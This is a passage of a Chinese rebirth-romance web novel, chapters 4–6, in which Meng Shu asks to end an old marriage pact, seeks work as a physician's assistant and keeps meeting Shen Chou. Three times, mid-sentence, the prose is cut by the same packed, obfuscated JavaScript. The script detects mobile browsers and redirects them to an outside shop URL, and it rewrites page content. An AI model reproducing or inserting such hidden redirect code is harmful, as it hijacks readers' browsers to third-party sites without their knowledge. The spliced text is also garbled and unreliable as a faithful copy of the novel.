底下几位太太闻言相互对视着,皆心知肚明,沈瑶却是面上茫然,她又看向沈筹。 沈老太太亦随着她的视线看去,“三哥儿,映薇是客,与你也熟稔,你也陪着一道逛逛吧。” 沈筹却是道:“孙儿本应如此,但今日来祖母这儿,确有要事。” 沈瑶噘了噘嘴,此时也意识到沈老太太这是要将她们支出去,虽心下不虞,但还是拉着蒋映薇,和沈琏沈玥一道离开了。 沈老太太确实是怕孟舒面皮薄,不好开口,待几个姑娘们一走,她登时笑盈盈地看向孟舒,“舒丫头,前几日我同你说的事,你考虑得如何了?” 屋内的目光尽数向孟舒投来,孟舒身子微僵,不由捏了捏袖口,抬首望去,几位太太们皆是面带笑意地看着她,而沈筹亦同样注视着她,分明看不出喜怒,可不知为何,触及他目光的一刻,孟舒心下咯噔了一下,只因他的眼神里似乎藏着说不出的怪异。 她定了定心神,想着此时的沈筹与她并不相熟,当是自己太过紧张而产生的错觉。 她的确为答复沈拓一事而来,可原打算等人都走了,再私下找沈老太太说道,但这会儿算是被架在这儿,不得不开口了。 她平复罢呼吸,起身行至沈老太太跟前,旋即缓缓自袖中取出一物。 虽未展开,但看着那泛黄的纸张,孟舒相信沈老太太定能认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423902|200843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出。 这是沈老爷子当年留给她阿爷的婚书。 泰康八年,沈老爷子被任命为荆州知县,在前往赴任的途中,路遇劫匪,正是她那身为猎户的阿爷救下了沈老爷子,其后更是让他在自己家中养伤,悉心照料,或是感念这份救命之恩,延续两家的缘分,临走前,沈老爷子留下了信物和一封婚书,言家中有二子,若她有孕在身的阿奶将来生下女儿,便嫁予二子之一为妻,若两家皆是男儿,则此婚约延至下一辈。 三年后,因在荆州任上兴修水利,剿灭多年匪患,为民除害,政绩斐然,沈老爷子被擢升为六品兵部武选清吏司主事,调回了京城。 起初两家还有书信往来,谁料泰康十三年,岳州大水,冲毁房屋无数,她阿爷便带着阿奶和她年幼的爹及族中一众叔伯北上逃难,流连辗转多年后定居于汝宁,两家也就此断了联系。 而朝堂之上,沈老爷子经历宦海浮沉,起起落落,在泰康二十年的“辛酉之变”后,因击退蛮族,护卫京师有功终位极人臣。 据沈老太太所言,这些年,沈老爷子并未忘却故人,也曾派人四处打听她阿爷的消息,却始终一无所获。 而她阿爷,定然也听说过京城那位克己奉公,仁心爱民的沈阁老,但也知两家门第悬殊,那些年终究未上门攀附,只在临去之际,因放心不下她们孤儿寡母,将一个綀囊交给她娘亲,嘱咐若有一日真的走投无路,便带着此物北上寻京城沈家。 綀囊中并非贵重之物,只一三指宽的铜环而已,但直至来到沈家,将那綀囊递给沈老太太,她才知晓这信物背后的那桩婚约,也才在摸索之下,于綀囊夹层中发现了阿爷藏着的婚书。 前世,这桩陈年旧约带给她的唯有无尽的痛苦,这一切,她也该干脆利落,将之彻底斩断。 见孟舒久久不言,沈老太太以为她是心存顾虑,“舒丫头,你放心,沈家断不是那背信弃义的,定三书六礼,好生将你迎娶进门,至于你母亲,往后也可以跟着你一道住在府中。” 孟舒沉默片刻,却是手捧婚书,跪了下来。 “老夫人宅心仁厚,打孟舒和母亲入府以来,始终事事周全,盛情款待,母亲的病情也全靠老夫人请来季神医才能有所缓解,可孟舒……怕是要拂了老夫人的好意。” 沈老太太蹙了蹙眉,正欲说什么,就见孟舒抬首,目光定定道。 “孟舒自知身份卑微,不堪于沈家相配,还请老夫人取消两家婚约,往后各自安好。” 5. 第 5 章 沈老太太面色微变,沉默少顷,问道:“舒丫头,你不必害怕,同我说实话,是不是府上有人欺了你,或是对你说了什么?” 孟舒明白这话的意思,她直视着沈老太太的眼睛,摇头,“没有,府上人都对孟舒很好,孟舒知晓沈家一诺千金,欲兑现当年承诺,可相比于锦衣华服的日子,孟舒更想在母亲病愈后,带她回汝宁,这亦是家母的心愿。” 言罢,她伏首,朝沈老太太磕了一个头,“还请老夫人准许。” 屋内一时鸦雀无声。 见孟舒态度坚绝,沈老太太长叹了口气,许久,才道:“此事容我再想想,舒丫头,你先回去吧。” 听到这番话,孟舒并不意外,她早料到此事不会这么顺利。 她应声,低垂着脑袋退了出去。 几个太太静坐着面面相觑,一时谁也没有开口,沈老太太有些头疼地揉了揉额头,最后将目光落在沈筹身上。 “三哥儿,你不是说有要事同我说吗?” 沈筹眉眼低垂,似有些失神,沈老太太话音落了片刻,方才抬眸看来,“不是什么大事,孙儿只是想请示祖母,祠堂多年未修,又经去年那场大雨,已有好几处发霉腐朽,不若趁这回疏影轩修葺,一道翻新一番。” 沈老太太微愣,不想沈筹的想法正与她不谋而合,她颔首道:“你倒是仔细,就依你说的办吧。” 言罢,她面露乏色,抬手退了众人。 甫一出了寿昌阁,三太太连氏道:“当真没想到,孟姑娘居然拒绝了这桩婚事,听老太太的意思,莫不是怀疑……有人从中作梗?” 二太太王氏看了三太太一眼,“绘春园那个的确不喜欢孟舒,但也当没那么大的胆子到她跟前威胁,更何况……” 言至此,王氏顿了顿,面上流露出淡淡的不屑,“兴许孟舒不是不愿意,只是瞧不上罢了。” “二嫂的意思是,难不成……”三太太惊诧,飞快瞥了大太太一眼,却并未再说下去,只莞尔一笑,“说不定我们都是多想,就像孟姑娘自个儿说的,她就是想带她娘回汝宁而已。” 出了角门,二太太和三太太各自往西院和北院而去。 大太太陈氏看向身旁的儿子,“你今日告了假,左右也是闲着,不如去园子里陪陪映薇和你几个妹妹。” 沈筹神色清冷,“映薇有瑶儿她们陪着便够了,都是姑娘家,我在她们反是不自在,何况儿子还有些公事要处置,午后得回翰林院去。” 言罢,他躬了一礼,疾步离开。 大太太陈氏看着他的背影,隐隐觉得自己这次子哪里有些古怪,但又说不出个所以然来,只蹙了蹙眉,不禁又想起适才二太太说的话来。 若孟舒在老太太跟前拒绝这桩婚事,真是因看不上沈拓,那她看上的又是谁。 二哥儿成亲两年了,六哥儿才十一岁,而今府里适龄未娶的只有她家筹儿和二房的沈拓了。 莫非…… 陈氏微微一惊。 她先头从未生出过这种想法。 毕竟两人天差地别,毫无般配二字可言。 但若真是如此,那丫头可真是痴心妄想。 陈氏虽知此事绝无可能,就是老太太也断断不会同意,但还是不得不防。 毕竟她家筹儿和蒋家之事在旁人看来已是板上钉钉,但两人到底还未定亲,随时可能生出变数。 绝不能让居心叵测之人有趁虚而入的机会。 那厢,对陈氏这个前世婆母的想法,孟舒自然是一无所知,因她眼下正一心为离开沈家做着准备。 翌日吃过早饭,孟舒就让雪兰煮茶备水,大敞院门,才至巳时,就见一灰白布袍,鹤发长须的老者背着药箱缓缓而来。 孟舒怔怔地看了来人片刻,方才上前恭敬地唤了声“季大夫”,将人迎进主屋。 这位季大夫并不多话,入内后先是替邱雁娘把了脉,旋即打开药箱取出针囊展开,再用孟舒提前准备好的水净了手,方才取针给邱雁娘诊治。 邱雁娘的眼疾源于头病,故施针的位置基本位于头部,前世,孟舒也是像这般默默在一旁站着,从不打搅。 然这回,看着季大夫落针的位置,她蓦然开口道:“这次不扎百会穴了吗?” 季大夫停住了欲取针的手,冰冷的目光直直往孟舒刺来。 孟舒身子一僵,慌乱道:“抱歉季大夫,是我多嘴了。” 季嵩用那双锐利的眼眸上下打量着面前这个瘦削的小姑娘,嗓音低沉,“学过医术?” 孟舒轻轻点了点头,又飞快摇头,“先前在汝宁时,为贴补家用上山采过药,也在药铺里干过些杂活,算不得学过,勉强识些药材,认得清那些个穴位罢了。” 季嵩深深看她一眼,“我给你母亲施针的顺序,你都记下了?” 坐在椅上的邱雁娘听出季嵩语气中的不喜,忙解释,“季大夫莫怪,我家这丫头打小就记性好,并非刻意记下,您放心,她绝不会将您的独门针法外传。” 季嵩闻言低哼一声,“针法再妙,也讲究对症,不过记住下针的顺序和几个穴位罢了,又有何用。” 言罢,他继续下针,一炷香后,收针把东西拾掇进药箱,又提笔写了张药方,让孟舒按方抓药,明日起每日三碗煎一碗,给邱雁娘服一剂,他七日后再来。 孟舒恭敬地颔首应下后,将季大夫送了出去。 行至院门口,季嵩脚步顿了顿,有意无意瞥了眼孟舒那双纤瘦粗糙的手,大步远去。 回了屋,孟舒给娘亲倒了杯热茶,就听邱雁娘叹了口气道:“皎皎,娘不是怪你,只是你素来稳重,分明知道季大夫这般医术精湛的大夫一向忌讳自己的独门医术被人学去,今日怎这般不小心。” 孟舒笑起来,“娘,女儿是故意的。” 此事,她不想隐瞒她娘。 “故意?为何?”邱雁娘不解道。 孟舒将昨日去沈老太太处求她解除婚约一事细细道出,“老夫人因老太爷临死前的嘱咐,对这桩婚事格外看重,加之而今外头都晓得此事,不管是为了老爷子的遗愿还是沈家的声誉,老夫人恐都不会轻易答应我的请求,故女儿想另辟蹊径,寻既能顺利离开沈家,又不耽误娘病情的法子。” 邱雁娘明白了,“可……季大夫这样的人物,医术高,眼光也高,恐不会轻易收徒。” “试试也无妨,兴许呢。”孟舒笑了笑。 她自不能告诉她娘。 其实,她之所以产生这般想法,并非对自己的医术格外有信心,而是前世,季大夫虽未正式收她为徒,但也教了她一部分针法。 也不知因何病疾,大抵三月后,季大夫的双手忽而开始不受控地发颤,初时,他还能靠着毅力控制手抖给她娘施针,到后来,或是发现此疾愈发严重,季大夫不再逞强,而是在察觉她似乎有些学医天赋时,将针法口授于她,好让她往后自己替她娘诊治。 然孟舒将将学了三月,还未大成,季大夫却忽于家中暴毙。 正是因此,她娘的病疾只好了一大半,最后虽也算看得见,头疼的毛病亦能靠着孟舒时不时施针得以缓解,但眼前始终模模糊糊,只能勉强视物。 孟舒想让季神医收她为徒,不仅是为了让他名正言顺带自己离开沈府,更是为了能彻底治好娘亲的病。 还有…… 便是或有机会救下前世她这个没能正式拜认的“师父”。 照顾邱雁娘睡下后,孟舒自房中的小匣子里取了些碎钱,准备去灶房给她娘煮碗健脑安神的核桃红枣梗米粥喝,好让她娘病情恢复得更快些。 一路出了东院的垂花门,行至半途,一阵朗朗读书声传来。 她不由驻足,抬首望去,便见一黑底金字的匾额。 其上为笔走龙蛇的三个大字。 知新斋。 孟舒认出此为沈家家塾,是沈老太爷生前所设。 凡是沈氏族中的孩子,不论是本家还是旁支,在通过童试入泮前皆可在此就学,请的先生也是各地有名的大儒或国子监致仕的官员。 其内还设有女塾,不仅是男儿,族中的姑娘亦可读书识字。 在初进沈家时,孟舒便一度向往此处,羡慕极了这些高门贵女,那时她识的字不算多,还是她娘教给她的。 而她娘的字听闻是她那素未谋面的秀才爹教的,在她六岁时,阿爷也曾生过让她读书的想法,但因阿奶病倒,治病吃药费了不少钱,家中甚至一度无以为继,便不得不打消了这个念头。 那时,阿爷常和年幼的她一道坐在灶房的门槛上,对着远山间的落日感慨,说若她爹没在赶考路上失踪,凭她爹那一肚子学问,定是最好的先生,会将她教得知书达礼,不比镇上刘乡绅家的姑娘差。 朗朗读书声犹在耳边徘徊,孟舒自久远的记忆中抽离出来,扯唇笑了笑,面露怅惘,她提步往前走了一段,却听身后一声清脆的“舒姐姐”。 她折身看去,便见五姑娘沈瑶小跑着朝她而来,身侧跟着四姑娘沈琏。 “四姑娘,五姑娘。”孟舒低了低身。 她很清楚,她现在不是她们的嫂嫂,而是那个寄人篱下,对沈家各位主子都万分恭敬的孟舒。 沈瑶笑意明媚,“舒姐姐叫我瑶儿便好,这么叫反是生疏了。” 昨儿出了寿昌阁,她都听两个姐姐说了,再过不久,舒姐姐就要嫁给五哥哥做她五嫂嫂了。 “瑶儿说的是,毕竟很快姐姐和我们便是一家了。”沈琏也道。 孟舒看了眼二房这位四姑娘,虽她也笑着,可不同于沈瑶的温暖和善,眉目间却是带着几分淡淡的,不易察觉的讥讽。 经历过前世的孟舒很清楚,这位四姑娘和二太太一样,表面对她有礼,可打心底瞧不上她,但也正因如此,二太太对这桩婚事喜闻乐见。 五爷沈拓的生母邹姨娘仗着沈二老爷宠爱,平日里甚是嚣张,二太太早已忍无可忍。 若让本就不务正业的沈拓娶了她这个粗鄙的乡野女子,往后无岳家帮衬,彻底断送了前程,便无法令日日想着靠儿子翻身的邹姨娘如愿,岂不大快人心。 孟舒只当看不出沈琏的小心思,淡淡道:“四姑娘说笑了。” “舒姐姐可曾来过知新斋,既然路过,不若进去看看吧。” 沈瑶不由分说,径直将孟舒拉了进去。 孟舒还是头一次来此,绕过一道鱼跃龙门纹影壁,其后是间单檐歇山顶的堂屋,堂屋正中摆有一张红梨木雕花香案,顺着袅袅香烟往上,是一幅孔夫子像。 沈瑶拉着孟舒自左侧门而入,穿过一段抄手游廊,就见一窗扇大敞的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423903|200843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋内,坐着十数个锦衣华服的少女,或是听见动静,悉数朝外头看来。 不同于男子所在的学塾,沈家这女塾还收了不少达官显贵家适龄的姑娘。 虽说有些大户人家也会请闺塾师给家中女儿开蒙,但至多读些《女诫》《女则》,学些妇德妇功,可在沈家女塾,不止有琴棋书画,更有那些高门宗妇、主母被请来亲自教导如何掌家看账,学得诸事八面玲珑,人情练达。 故但凡能托着关系,京中不少官宦人家都想着将家中女儿送进这里,只为那些世家显贵挑选新媳,门户相当之下,总是更青睐在沈家女塾念过几年书的。 这些大家闺秀自幼娇养在家中,放眼望去,自是个个肤若凝脂,昳丽动人。 孟舒不禁低头看向沈瑶拉着她的手,净白如玉,细腻光滑,愈发衬得她肤色黑黄,皮肤粗糙了。 可哪能不粗糙呢,阿爷走后的这些年,家中没有男人,为了生计,她只能每日风吹日晒,下地种田,上山采药,努力贴补家用,减轻她娘的负担。 沈瑶一口一个“舒姐姐”,同众人介绍,在场不少女子其实早已猜出了孟舒的身份,登时神色各异,甚至于窃窃私语起来。 孟舒也知自己站在这儿多少显得有些格格不入,活像个粗使丫头,若是换了前世,她大抵只会局促地低垂着脑袋一言不发。 但这会儿,她却是坦坦荡荡看过去,也任她们看,她的确没有姣好的容颜与高贵的身份,可她不偷不抢,问心无愧,便也没什么好被人看不起的。 “舒姐姐,下一堂是表姑母的课,今日映薇姐姐不在,姐姐不如坐在我身侧,留下来一道听听。”沈瑶拉着孟舒就要往里头坐。 孟舒拉住她,摇了摇头,“谢五姑娘好意,可我没读过书,也不识字。” 这话在她来沈家后是同沈老太太说过的,自然不能漏了马脚。 “怕什么,不过临摹字帖,姐姐只当是作画,跟着描便是。” “秦先生来了。” 说话间,一个衣着素雅的妇人缓步而入,屋内登时安静下来。 孟舒当然认识这位秦夫人,沈老太太的内侄女,未嫁前便是京中有名的才女,夫君现任礼部侍郎,骨子里一向傲气,之所以肯来沈家女塾做先生,全然是看在沈老太太这个姑母的面上。 前世,秦夫人对她这个出生卑微的表侄媳妇自也是鄙夷不屑,孟舒还记得,那年沈老太太作寿,她帮着婆母招待宾客,将茶水奉给这位秦夫人,过后却见她秀眉紧蹙,悄悄自袖中摸出锦帕,嫌弃地擦了擦碰过杯壁的手。 见秦夫人走来,沈瑶热情地向她介绍身侧的孟舒,“表姑母,这是孟舒姐姐,她祖父与我祖父是挚友,眼下在府中做客呢。” 秦夫人自然听说过沈家的这位不速之客,然她神色冷漠,草草瞥了眼孟舒,却是未置一词,仿佛看不见她一般,只沉声对沈瑶道:“瑶儿,说过多少次,在这儿得唤我先生。” 说罢,秦夫人走回前头去,让底下的女学生们展开桌案上的字帖继续临摹,孟舒听见一旁有人轻声嘀咕,道为何又是此帖,秦夫人冷眼看去,“好的字帖,便是摹千万次也不在话下,字的好坏,既在于形,也在于神,你们若做到映薇那般,形神兼备,我也不说什么了,可你们一个个形尚且不似,便心浮气躁,急不可耐,想着换帖了?” 此言一出,众人噤声,皆埋首临摹,未敢再言。 孟舒垂眸看着手底下这张钟大家的《灵飞经》,字迹娟秀轻灵,舒展优美,只觉分外亲切。 前世嫁给沈筹后,她有了空闲,便也开始读书识字,最早接触的字帖里,就有这《灵飞经》,那时,但凡字帖,她几乎都摹了百遍,堪堪满意才会换一幅新的。 她提笔,闭上眼,几乎能将此帖一字不落地默写出来,可她知道自己不能。 毕竟此时的孟舒只是个胸无点墨,目不识丁的粗陋之人。 她悬肘稳稳写出一笔,旋即手腕一斜,任由墨汁在纸上晕开。 就这般写了两三行,后头突然喧闹起来,秦夫人忽而自上首站起身,含笑唤道。 “筹儿。” 孟舒骤然一怔,即便不回头,她也已清楚来人是谁。 果然,那低沉熟悉的嗓音响起,“表姑母。” 他怎会来此? 是为了蒋映薇? 孟舒咬了咬唇,听着身后逐渐靠近的脚步声,到底还是因着心虚,将桌案上临摹的纸张慢慢翻转过来,压在手底下。 她垂着脑袋,等着沈筹快些走过去,然当那片阴影经过她时,却是骤然停了下来。 她不得不抬眸看去,男人挡住了窗光,面上神色晦暗不明,他的视线只在她脸上顿了一顿,便很快落在了地面上。 孟舒顺着他的目光看去,就见一支干净的湖笔不知何时滚落到了桌脚边。 她忙俯身去捡,然触碰到笔杆的一刻,一只大掌覆上了她的手背。 炙热的温度烙着她的皮肤,耳畔男人平稳的呼吸声格外清晰,连带着他身上淡淡的青竹香钻入鼻尖,她心如擂鼓,一些荒唐的画面顷刻间涌入她的脑海。 前世,自与沈筹成婚的第二年起,她最抵触的便是与沈筹一道靠近疏影轩西次间的那张桌案。 也是在那张桌案上,她曾见过沈筹最不循规蹈矩的模样。 6. 第 6 章 她也顾不得拾捡,若触了炭火般飞快地收回手,直起了身。 很快,那支湖笔被递到了眼前。 孟舒定了定神,起身双手接过,却是往后退了两步,离男人远了些,旋即恭敬道:“多谢三爷。” 她听见沈筹低低“嗯”了一声,那双黑色云纹绣靴转了方向。 待人走远,孟舒方才抬眸悄然打量四下,见似乎并无人在意适才那一幕,不由舒了一口气。 她到底还是不够沉稳,分明两人这一世已毫无瓜葛,且并无人会将她与沈筹联系在一起,又何必每每见到他都因心虚而自乱阵脚。 不同于面对她时的冷漠,秦夫人自然很喜欢沈筹这位表侄,尤对他的书法造诣刮目相看,沈筹有一赫赫有名的《秋收帖》,现为京城醉仙居刘掌柜所藏,传闻秦夫人一直高价求购而不得。 “怎突然来了,往日可不见你来知新斋,怎的,有要事?”秦夫人挑眉意味深长。 沈筹笑了笑,“我平日对几个弟妹的学业关切甚少,今日休沐,便顺道过来瞧瞧。” 听得此言,沈筹将目光转向沈瑶,沈瑶如临大敌,抬手一把遮住了自己临摹的字。 三姑娘沈玥和四姑娘沈琏亦一下绷直了身子,不由紧张起来,沈家这几个姑娘对她们这位誉满京城,年纪轻轻便蟾宫折桂,成为天子门生的三哥哥除却崇敬之外,亦不免带了几分畏惧。 然除她们三人外,女塾内的其他姑娘却时不时赧赧瞥向沈筹,倒是不遮不掩,毕竟若她们的字能得眼前这位朗月清风般的人物看上一眼,得两句评价,即便不是夸赞也是三生有幸。 然沈筹只是静静收回了目光,“不过,有表姑母这般严师管束教导,侄儿便放心了,那侄儿先行告辞,不叨扰表姑母授课了。” 秦夫人笑逐颜开,颔首目送他远去,孟舒隐隐听见前头两位姑娘耳语。 “……看来真是为蒋姑娘来的,不然何至于走得这么快。” 孟舒眼睫微垂,心下同样这般认为,果然,便是冷情冷性如沈筹,也会在百忙之中为了心上人特意过来瞧瞧。 前世,蒋映薇死后,他频频出入蒋府,嘴上不言,心下定然痛苦万分。 但幸好,这一世,这对苦命鸳鸯再不必承受天人永隔之苦。 半炷香后,女塾散学,孟舒回绝了沈瑶一道用饭的提议,去了府中灶房,她偷偷往灶房管事妈妈手中塞了些碎银,那妈妈便笑嘻嘻称粥一会儿熬好了就送去,又道她是贵客,日后不必亲自过来,要吃什么派奴婢知会一声就是。 孟舒道了谢,折身回返。 在这府里,什么都没银子好使,是她前世嫁给沈筹很久后才悟到的理儿,那时即便成为名正言顺的三奶奶后,她也根本差使不动那些仆婢,就是想做些简单的吃食给她娘补身,也常被灶房以缺这缺那搪塞拖延,沈筹早出晚归,她又不敢同陈氏这个本就不喜她的婆母提起,唯恐陈氏觉得她多事,只能让雪兰拿着她攒下的不多的私房钱暗中打点。 其实那时也不是不能到老太太跟前告上一状,只是顾及太多,唯恐惹是生非,终究让她犹犹豫豫,选择继续忍气吞声,过表面平静安稳的日子。 翌日,孟舒出了沈府,去城西药铺给她娘抓药。 这家名为百草堂的药铺离沈家并不近,孟舒足足走了半个多时辰才抵达。 她拿出季大夫给的方子替她娘抓了药,随后又递去另一张药方,却只问抓这么一贴药需得多少钱两。 药铺掌柜看了方子,“旁的倒是好说,只姑娘要的这类珍珠粉是稀罕物,价钱恐是高些,抓上这么一帖,至少需二钱银子。” 倒是和前世大差不差。 这药方是孟舒曾在医书上看见的,名曰玉颜膏,可生肌润肤,亦可美容养颜,孟舒在原方子的基础上做了改良,为的便是消除她娘脸上那道长疤。 前世研制成膏方后,她没敢立马给她娘涂抹,而是自个儿先尝试了一段时日,确实有效,才敢用在她娘的脸上。 孟舒始终对邱雁娘心存愧疚,尤其是她娘为了她亲手毁了自己的脸,虽嘴上说没有大碍,可又有哪个女子真的不在乎自己的容貌,这一世,若能让她娘亲在重现光明时,看到自己脸上的疤痕有所好转,定然高兴。 二钱银子并不算少,虽沈老太太在她进府后给了她不少银两以供花销,但孟舒并不敢太过大手大脚,毕竟这都是欠下的人情。这几日她思忖着,等将来她带她娘离开,沈家的钱不仅不能要,先头给她的金银财物也得全数归还,牵扯太多,终究无法断得干净。 她盯着手上的这张药方,想着要不狠一狠心多买些回去,制个五六瓶,再寻愿意收的面脂铺子卖个好价钱。 这倒也算是个财路,只是,且不说制作膏子需得时日,就是那些个肯收的铺子尝试膏子成效至少也要十天半个月,何况这成本并不算低,最后还不知能卖几瓶,赚多少钱,实在费时费力。 孟舒低叹了口气,犯愁之际,就见与药铺一帘之隔的医馆内走进一妇人和以帷帽将自己的脸遮得严严实实的年轻女子。 医馆此时没什么人,只一坐堂大夫在那儿翻看医案。 即便如此,妇人和那女子仍显得格外谨慎小心,左顾右盼,好一会儿才在那大夫跟前坐下。 “姑娘来看何疾?”大夫问道。 戴着帷帽的姑娘低着脑袋不说话,还是那妇人替她道:“大夫,我女儿有些不适。” 这来医馆看病的,哪个不是因着身子抱恙,大夫皱了皱眉,但还是耐着性子追问。 “哪里不适?” “就是……就是那儿……”妇人挤眉弄眼,目光不断往下,神色颇有些不自在。 行医十数载,到底见过太多病患,大夫很快了然,他尴尬地低咳一声,“有何症状?” 妇人低声替姑娘答道:“就是红肿,还有……发痒……” 大夫示意姑娘将手搁在脉枕上,探了探脉,又问:“可还有旁的?” “这……”那妇人瞥了眼女儿,显然也不大清楚。 大夫的目光又落在了那姑娘身上,温声道:“这类病症错综复杂,若不说清楚,不好妄下诊断。” 那姑娘抬了抬脑袋,却又慢慢低落下去,少顷,双肩微颤,竟是低声啜泣起来,她拉了拉妇人的袖口道:“娘,我们不治了,指不定过两日它自个儿便好了。” “胡说什么,要不是那肖婆子给的方子无用,我们何至于借着出门采买悄悄到这么远的医馆来。”妇人压低声儿斥道,“还有十来日你便要成亲了,娘自然知晓你清白,可你夫家呢,届时怕还以为你沾染了什么不干不净的,往后你还怎么做人!你别忘了,你家中还有两个妹妹呢。” 妇人说罢低身恳求道:“大夫,你看着开药便是,好歹先回去吃一吃,再看看成不成。” 大夫闻言长叹一口气,显然也不是头一回遇到这类事,可这开药到底得对症,且看诊还讲究个望闻问切,但毕竟男女有别,加之又是那最最隐密之处,多数女子耻于开口,实在不知如何下手。 “好吧……” 大夫无奈提笔,正欲按最寻常的方子开药,却听得一句,“姑娘若不嫌弃,不如说予我听听。” 孟舒缓步上前,她并未听清这母女说了什么,但看她们和那大夫为难的神色,也知大抵是不好道出口的病,“我略略懂些药理,姑娘有话,随我去里屋说便是,如此,也方便大夫诊断。” 那大夫面露迟疑,可妇人已然激动道:“那敢情好,就拜托姑娘了。” 孟舒颔首,带着那姑娘掀开帘子入了里屋,让她掀起帷帽,观察了她的面色和舌苔,末了,又小心翼翼询问了几句。 自里屋出来后,孟舒行至那大夫跟前,却并未出声,而是借了纸笔写下适才她询问的症状。 “带下量多,色黄绿,略有异味,伴-瘙-痒肿痛,口苦尿黄。” 写罢,她确认大夫已看清,将纸撕毁揉成一团,这才道:“当是湿热蕴结,流注下焦所致,相应治疗的法子我倒是在《世补斋医书》中见过。” 刘大夫本以为这位姑娘是在说大话,什么懂药理,也就同那些个医婆一样,晓得几个偏方罢了,不想是真有些本事,她描述得这般详细,可着实方便他开药了。 “多谢姑娘。”刘大夫当即写下药方递给那母女二人,宽慰道,“不是什么大病,每日早晚服一帖,至多五六日便能大好了。” 听得此言,姑娘登时喜极而泣,母女二人连连道谢,临走前,那姑娘还不忘对孟舒深深施了一礼。 “今日多亏姑娘。”刘大夫看了眼孟舒手中提的药,“等下回姑娘再来抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423904|200843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药,我定教他们给姑娘便宜一些。” 孟舒抿了抿唇,其实她之所以帮那对母女,除却对那姑娘同情,自然也藏着她的私心。 “敢问大夫,你们这儿可缺人?”她道,“我虽没什么看诊的经验,但也算读过些医书,能帮着打打下手。” 刘大夫愣了一愣,他迟疑片刻,讪讪道:“抱歉姑娘,我不过是个坐堂大夫,雇用人的事尚做不了主,还需问过东家的意思。” 孟舒点点头,既没有当场回绝她,便是有希望,“三日后,我还要来抓药,届时还请大夫给我答复。” 自百草堂出来,再走回沈家,已是落日熔金,暮色四合。 孟舒和她娘被安排在沈老太太所在的东院,自六年前沈老太爷走后,东院只老太太一人,再加上老太太觉浅喜静,相比于其他三房分别居住的南院西院北院,东院伺候的下人寥寥,显得格外冷清。 过了中秋,这天黑得一日比一日早,路过沈家花园时,已有弦月挂于这将暗未暗的苍穹。 孟舒远远望见前头的假山,再看这天,倏然想起,她与沈筹的初遇,便是在此处。 那时她带着她娘进府没几日,沈老太太热情,留她用了晚饭后,拉着她说了好一会儿话才放她回去,她本想着路途近,没让寿昌阁的下人送她,不想还是因不熟悉沈府,在花园处迷了路。 正当她一筹莫展之际,黑暗中,一个修长挺拔的身影朝她而来。 那是孟舒头一回见到这般好看的男子,若清冷月光洒落,即便不开口说话,周身也透出一股子清雅矜贵,见她上前询问,他眉梢微挑,嗓音如磬石般低沉浑厚,他问她可是新来的奴婢。 孟舒张了张嘴,不知如何解释自己的身份,只轻轻点了点头,在沈筹给她指了方向后,低身道谢,从头到尾甚至不敢抬头直视他的眼睛。 直到男人走后,她方才折身,望着那高大的背影,摸了摸自己略有些发烫的脸颊。 直到几日后,沈老太太召集众人于家宴上介绍她和她娘亲,她才知晓,那夜遇到的正是于今年的恩科中不负所望,登科夺魁的大房嫡次子,沈筹。 孟舒从不否认她在初见沈筹时那一闪而过的惊艳,若在河溪中出生长大的鱼蓦然见到了浩瀚无垠,波澜壮阔的大海。 那份少女慕艾更是在前世出事后,谁都不信她,唯独沈筹坚持替她找寻那个消失无踪的婢子时恣意疯长。 虽最后那被寻到的婢子不仅满口胡言,始终不肯供出背后指使之人,乃至于撞墙自尽,但也算洗清了她蓄谋勾引的污名。 也因如此,刚与沈筹订亲时,她以为,只消她努力,将来定能把日子过好。 可她到底天真了,正如河鱼几乎无法在海中生存一般,前世三年的窒息与痛苦深深告诉她,她与沈筹云泥之别,这桩婚事从头至尾都是个错。 孟舒扯唇自嘲地笑了笑,然绕过假山的一刻,却是骤然停了脚步。 一个身影背对着她立在枯茎残荷的池塘畔,夜风吹起他的衣袂,也不可避免地让孟舒心里泛起了浅浅的涟漪。 纵然看不到正脸,她也知晓这人是谁,不想前世不常见着的夫君,重生后没了牵扯却能日日遇着,实在有些可笑。 相比于头两回的慌乱,这一回孟舒冷静了许多,她本打算就这般悄无声息地走开,然想了想,觉得视而不见反而可疑,正欲上前行礼问安,男人像是感受到她的存在般骤然折身看来。 四目相对的一刻,孟舒只眸光晃了晃,便神色自若地低了低身,“见过三爷。” 言罢,也不多做寒暄,径直往前走,一刻都不多留。 然还未跨出几步,却听身后人幽幽道。 “孟姑娘没什么要对在下说的吗?” 孟舒脚步一滞,不想这男人竟主动同她搭话,她努力稳着心神,回首强笑道:“孟舒不明白三爷的意思,若孟舒有失礼之处,还望三爷海涵。” 